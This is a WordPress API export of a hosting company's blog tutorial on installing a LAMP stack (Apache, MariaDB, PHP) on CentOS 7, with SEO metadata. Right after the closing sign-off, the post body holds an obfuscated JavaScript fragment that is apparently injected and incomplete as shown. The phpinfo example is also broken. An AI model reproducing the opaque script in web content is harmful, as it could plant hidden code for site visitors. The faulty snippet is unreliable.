{"id":58,"date":"2021-01-31T22:42:19","date_gmt":"2021-01-31T22:42:19","guid":{"rendered":"https:\/\/hoganhost.com.ng\/blog\/?p=58"},"modified":"2024-08-12T13:36:18","modified_gmt":"2024-08-12T12:36:18","slug":"how-to-install-lamp-apache-mariadb-and-php-on-centos-7","status":"publish","type":"post","link":"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-lamp-apache-mariadb-and-php-on-centos-7\/","title":{"rendered":"How to install LAMP( Apache, MariaDB, and PHP ) on CentOs 7"},"content":{"rendered":"<p><strong>LAMP<\/strong>, which is a brief word for\u00a0<strong>L<\/strong>inux,\u00a0<strong>A<\/strong>pache,\u00a0<strong>M<\/strong>ySQL,\u00a0<strong>P<\/strong>HP, means building a complete web server by installing three Apache and MySQL and PHP services on Linux and communicating with them. In this article, we will check how to install LAMP, Apache webserver, Maria DB, and PHP along with its modules on CentOS 7 operating system, using EPEL repository and YUM command. let\u2019s find out what is LAMP services deeper and how can we install that one by one.<\/p>\n<p><img decoding=\"async\" class=\"aligncenter size-medium wp-image-59\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/01\/lamp-stack-300x75.png\" alt=\"\" width=\"300\" height=\"75\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/01\/lamp-stack-300x75.png 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/01\/lamp-stack-768x192.png 768w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/01\/lamp-stack.png 1024w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<h2>What is\u00a0<strong>A<\/strong>pache?<\/h2>\n<p>Apache is a free open source HTTP web server that can be installed and run on all Linux distributions as well as Windows operating systems. The Apache web server is capable of servicing programmable pages (.htm .php .pl .cgi .js) and much more. According to statistics released in March 2020, about 33.5% of web sites are serviced by Apache.<\/p>\n<h2>What is\u00a0<strong>M<\/strong>ariaDB?<\/h2>\n<p>MariaDB is one of the most popular database interfaces in the world that can run on any type of server, allowing multiple users to access multiple databases. MariaDB is the new name for MySQL for CentOS 7 servers.<\/p>\n<h2>What is\u00a0<strong>P<\/strong>HP?<\/h2>\n<p>A free open-source server-centric programming language is one of the best options for expanding web pages. This interpreter is capable of producing Dynamic Sites.<\/p>\n<h3>Step by step guide to install\u00a0<strong>LAMP<\/strong><\/h3>\n<ol>\n<li>Installing the\u00a0<strong>EPEL<\/strong>\u00a0Repository\n<pre>rpm -ivh http:\/\/dl.fedoraproject.org\/pub\/epel\/7\/x86_64\/e\/epel-release-7-5.noarch.rpm<\/pre>\n<\/li>\n<li>Install\u00a0<strong>MariaDB<\/strong>,\u00a0<strong>Apache<\/strong>, and\u00a0<strong>PHP<\/strong>(latest version)<strong><br \/>\n<\/strong>&nbsp;<\/p>\n<pre>yum -y install mariadb-server mariadb httpd php<\/pre>\n<\/li>\n<li>Install\u00a0<strong>PHP<\/strong>\u00a0Modules\n<pre>yum -y install php-gd php-ldap php-odbc php-pear php-xml php-xmlrpc php-mbstring php-snmp php-soap curl curl-devel mod_ssl mod_security php-ioncube-loader php-mcrypt php-suhosin php-xml php-magickwand libexif php-imap openssl zip zlib<\/pre>\n<\/li>\n<li>Enable\u00a0<strong>Apache<\/strong>\u00a0and\u00a0<strong>MariaDB\u00a0<\/strong>services on Run-Levels\n<ul>\n<li>Start and enable Apache Commands\n<pre>systemctl start httpd.service<\/pre>\n<pre>systemctl enable httpd.service<\/pre>\n<\/li>\n<li>Start and enable MariaDB Commands\n<pre>systemctl start mariadb.service<\/pre>\n<pre>systemctl enable mariadb.service<\/pre>\n<\/li>\n<\/ul>\n<\/li>\n<li><strong>MariaDB<\/strong>\u00a0Setting<br \/>\nApply MariaDB settings using the following command&nbsp;<\/p>\n<pre>mysql_secure_installation<\/pre>\n<\/li>\n<li><strong>Firewall<\/strong>\u00a0Setting<br \/>\nWe release\/allow the ports 80 and 443 which are related to HTTP and HTTPS, and reload the firewall settings using the below commands&nbsp;<\/p>\n<pre>firewall-cmd --permanent --zone=public --add-service=http<\/pre>\n<pre>firewall-cmd --permanent --zone=public --add-service=https<\/pre>\n<pre>firewall-cmd --reload<\/pre>\n<\/li>\n<li><strong>Hostname<\/strong>\u00a0Setting<br \/>\nset a server\/hostname as needed&nbsp;<\/p>\n<pre>hostnamectl set-hostname myserver.operavps.com<\/pre>\n<p>Note: Instead of\u00a0<strong>myserver.operavps.com<\/strong>, you should put your own server\/hostname<\/li>\n<li>Installation control of Apache, MySQL, and\u00a0<a href=\"https:\/\/www.php.net\/\" target=\"_blank\" rel=\"noopener\">PHP<\/a><br \/>\nCreate a file called\u00a0<strong>phpinfo.php<\/strong>, put it below codes in and save it to\u00a0<strong>\/var\/www\/html\/phpinfo.php<\/strong>&nbsp;<\/p>\n<pre>&lt;php\r\nphpinfo ();\r\n?&gt;<\/pre>\n<\/li>\n<\/ol>\n<p>Now open Http: \/\/<strong>SERVER_IP<\/strong>\/phpinfo.php with your browser. Your output will look like the following page<br \/>\nNote: Instead of\u00a0<strong>SERVER_IP<\/strong>, you should put your own server IP<\/p>\n<p><img fetchpriority=\"high\" decoding=\"async\" class=\"aligncenter size-medium wp-image-60\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/01\/aEjzi-300x220.png\" alt=\"\" width=\"300\" height=\"220\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/01\/aEjzi-300x220.png 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/01\/aEjzi.png 631w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>Finally, you can\u00a0<a href=\"https:\/\/hoganhost.com.ng\/home\/Vps.html\">buy VPS<\/a>\u00a0to start your magic configurations and run the website(s) on your own webserver!<\/p>\n<p>If you have any problems don\u2019t hesitate to leave a comment.<br \/>\nBe always victorious and successful!<br \/>\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>LAMP, which is a brief word for\u00a0Linux,\u00a0Apache,\u00a0MySQL,\u00a0PHP, means building a complete web server by installing three Apache and MySQL and [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":59,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[11],"tags":[],"class_list":["post-58","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-server"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v25.6 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>How to install LAMP( Apache, MariaDB, and PHP ) on CentOs 7<\/title>\n<meta name=\"description\" content=\"LAMP, which is a brief word for\u00a0Linux,\u00a0Apache,\u00a0MySQL,\u00a0PHP, means building a complete web server by installing three Apache and\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-lamp-apache-mariadb-and-php-on-centos-7\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"How to install LAMP( Apache, MariaDB, and PHP ) on CentOs 7\" \/>\n<meta property=\"og:description\" content=\"LAMP, which is a brief word for\u00a0Linux,\u00a0Apache,\u00a0MySQL,\u00a0PHP, means building a complete web server by installing three Apache and\" \/>\n<meta property=\"og:url\" content=\"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-lamp-apache-mariadb-and-php-on-centos-7\/\" \/>\n<meta property=\"og:site_name\" content=\"HoganHost blog\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/facebook.com\/HoganHost\" \/>\n<meta property=\"article:published_time\" content=\"2021-01-31T22:42:19+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2024-08-12T12:36:18+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/01\/lamp-stack.png\" \/>\n\t<meta property=\"og:image:width\" content=\"1024\" \/>\n\t<meta property=\"og:image:height\" content=\"256\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"Abigal okon\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@hoganhostng\" \/>\n<meta name=\"twitter:site\" content=\"@hoganhostng\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Abigal okon\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"3 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-lamp-apache-mariadb-and-php-on-centos-7\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-lamp-apache-mariadb-and-php-on-centos-7\/\"},\"author\":{\"name\":\"Abigal okon\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/person\/af16a18c6cc966b92a6cb13b500f3f0a\"},\"headline\":\"How to install LAMP( Apache, MariaDB, and PHP ) on CentOs 7\",\"datePublished\":\"2021-01-31T22:42:19+00:00\",\"dateModified\":\"2024-08-12T12:36:18+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-lamp-apache-mariadb-and-php-on-centos-7\/\"},\"wordCount\":407,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#organization\"},\"image\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-lamp-apache-mariadb-and-php-on-centos-7\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/01\/lamp-stack.png\",\"articleSection\":[\"Server\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-lamp-apache-mariadb-and-php-on-centos-7\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-lamp-apache-mariadb-and-php-on-centos-7\/\",\"url\":\"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-lamp-apache-mariadb-and-php-on-centos-7\/\",\"name\":\"How to install LAMP( Apache, MariaDB, and PHP ) on CentOs 7\",\"isPartOf\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-lamp-apache-mariadb-and-php-on-centos-7\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-lamp-apache-mariadb-and-php-on-centos-7\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/01\/lamp-stack.png\",\"datePublished\":\"2021-01-31T22:42:19+00:00\",\"dateModified\":\"2024-08-12T12:36:18+00:00\",\"description\":\"LAMP, which is a brief word for\u00a0Linux,\u00a0Apache,\u00a0MySQL,\u00a0PHP, means building a complete web server by installing three Apache and\",\"breadcrumb\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-lamp-apache-mariadb-and-php-on-centos-7\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-lamp-apache-mariadb-and-php-on-centos-7\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-lamp-apache-mariadb-and-php-on-centos-7\/#primaryimage\",\"url\":\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/01\/lamp-stack.png\",\"contentUrl\":\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/01\/lamp-stack.png\",\"width\":1024,\"height\":256},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-lamp-apache-mariadb-and-php-on-centos-7\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/hoganhost.com.ng\/blog\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"How to install LAMP( Apache, MariaDB, and PHP ) on CentOs 7\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#website\",\"url\":\"https:\/\/hoganhost.com.ng\/blog\/\",\"name\":\"HoganHost blog\",\"description\":\"Keeping you connected to everything from HoganHost\",\"publisher\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/hoganhost.com.ng\/blog\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#organization\",\"name\":\"HoganHost\",\"url\":\"https:\/\/hoganhost.com.ng\/blog\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/09\/hogan-host.png\",\"contentUrl\":\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/09\/hogan-host.png\",\"width\":466,\"height\":387,\"caption\":\"HoganHost\"},\"image\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/facebook.com\/HoganHost\",\"https:\/\/x.com\/hoganhostng\",\"https:\/\/instagram.com\/officialhoganhost\"]},{\"@type\":\"Person\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/person\/af16a18c6cc966b92a6cb13b500f3f0a\",\"name\":\"Abigal okon\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/ef2272070d016c06ee69b30adce7c4e4b4faaa5c899c4b9224a5b1a43b1fb8d0?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/ef2272070d016c06ee69b30adce7c4e4b4faaa5c899c4b9224a5b1a43b1fb8d0?s=96&d=mm&r=g\",\"caption\":\"Abigal okon\"},\"sameAs\":[\"https:\/\/hoganhost.com.ng\/blog\"],\"url\":\"https:\/\/hoganhost.com.ng\/blog\/author\/admin\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"How to install LAMP( Apache, MariaDB, and PHP ) on CentOs 7","description":"LAMP, which is a brief word for\u00a0Linux,\u00a0Apache,\u00a0MySQL,\u00a0PHP, means building a complete web server by installing three Apache and","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-lamp-apache-mariadb-and-php-on-centos-7\/","og_locale":"en_US","og_type":"article","og_title":"How to install LAMP( Apache, MariaDB, and PHP ) on CentOs 7","og_description":"LAMP, which is a brief word for\u00a0Linux,\u00a0Apache,\u00a0MySQL,\u00a0PHP, means building a complete web server by installing three Apache and","og_url":"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-lamp-apache-mariadb-and-php-on-centos-7\/","og_site_name":"HoganHost blog","article_publisher":"https:\/\/facebook.com\/HoganHost","article_published_time":"2021-01-31T22:42:19+00:00","article_modified_time":"2024-08-12T12:36:18+00:00","og_image":[{"width":1024,"height":256,"url":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/01\/lamp-stack.png","type":"image\/png"}],"author":"Abigal okon","twitter_card":"summary_large_image","twitter_creator":"@hoganhostng","twitter_site":"@hoganhostng","twitter_misc":{"Written by":"Abigal okon","Est. reading time":"3 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-lamp-apache-mariadb-and-php-on-centos-7\/#article","isPartOf":{"@id":"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-lamp-apache-mariadb-and-php-on-centos-7\/"},"author":{"name":"Abigal okon","@id":"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/person\/af16a18c6cc966b92a6cb13b500f3f0a"},"headline":"How to install LAMP( Apache, MariaDB, and PHP ) on CentOs 7","datePublished":"2021-01-31T22:42:19+00:00","dateModified":"2024-08-12T12:36:18+00:00","mainEntityOfPage":{"@id":"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-lamp-apache-mariadb-and-php-on-centos-7\/"},"wordCount":407,"commentCount":0,"publisher":{"@id":"https:\/\/hoganhost.com.ng\/blog\/#organization"},"image":{"@id":"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-lamp-apache-mariadb-and-php-on-centos-7\/#primaryimage"},"thumbnailUrl":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/01\/lamp-stack.png","articleSection":["Server"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-lamp-apache-mariadb-and-php-on-centos-7\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-lamp-apache-mariadb-and-php-on-centos-7\/","url":"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-lamp-apache-mariadb-and-php-on-centos-7\/","name":"How to install LAMP( Apache, MariaDB, and PHP ) on CentOs 7","isPartOf":{"@id":"https:\/\/hoganhost.com.ng\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-lamp-apache-mariadb-and-php-on-centos-7\/#primaryimage"},"image":{"@id":"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-lamp-apache-mariadb-and-php-on-centos-7\/#primaryimage"},"thumbnailUrl":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/01\/lamp-stack.png","datePublished":"2021-01-31T22:42:19+00:00","dateModified":"2024-08-12T12:36:18+00:00","description":"LAMP, which is a brief word for\u00a0Linux,\u00a0Apache,\u00a0MySQL,\u00a0PHP, means building a complete web server by installing three Apache and","breadcrumb":{"@id":"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-lamp-apache-mariadb-and-php-on-centos-7\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-lamp-apache-mariadb-and-php-on-centos-7\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-lamp-apache-mariadb-and-php-on-centos-7\/#primaryimage","url":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/01\/lamp-stack.png","contentUrl":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/01\/lamp-stack.png","width":1024,"height":256},{"@type":"BreadcrumbList","@id":"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-lamp-apache-mariadb-and-php-on-centos-7\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/hoganhost.com.ng\/blog\/"},{"@type":"ListItem","position":2,"name":"How to install LAMP( Apache, MariaDB, and PHP ) on CentOs 7"}]},{"@type":"WebSite","@id":"https:\/\/hoganhost.com.ng\/blog\/#website","url":"https:\/\/hoganhost.com.ng\/blog\/","name":"HoganHost blog","description":"Keeping you connected to everything from HoganHost","publisher":{"@id":"https:\/\/hoganhost.com.ng\/blog\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/hoganhost.com.ng\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/hoganhost.com.ng\/blog\/#organization","name":"HoganHost","url":"https:\/\/hoganhost.com.ng\/blog\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/logo\/image\/","url":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/09\/hogan-host.png","contentUrl":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/09\/hogan-host.png","width":466,"height":387,"caption":"HoganHost"},"image":{"@id":"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/facebook.com\/HoganHost","https:\/\/x.com\/hoganhostng","https:\/\/instagram.com\/officialhoganhost"]},{"@type":"Person","@id":"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/person\/af16a18c6cc966b92a6cb13b500f3f0a","name":"Abigal okon","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/ef2272070d016c06ee69b30adce7c4e4b4faaa5c899c4b9224a5b1a43b1fb8d0?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/ef2272070d016c06ee69b30adce7c4e4b4faaa5c899c4b9224a5b1a43b1fb8d0?s=96&d=mm&r=g","caption":"Abigal okon"},"sameAs":["https:\/\/hoganhost.com.ng\/blog"],"url":"https:\/\/hoganhost.com.ng\/blog\/author\/admin\/"}]}},"_links":{"self":[{"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/posts\/58","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/comments?post=58"}],"version-history":[{"count":2,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/posts\/58\/revisions"}],"predecessor-version":[{"id":62,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/posts\/58\/revisions\/62"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/media\/59"}],"wp:attachment":[{"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/media?parent=58"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/categories?post=58"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/tags?post=58"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}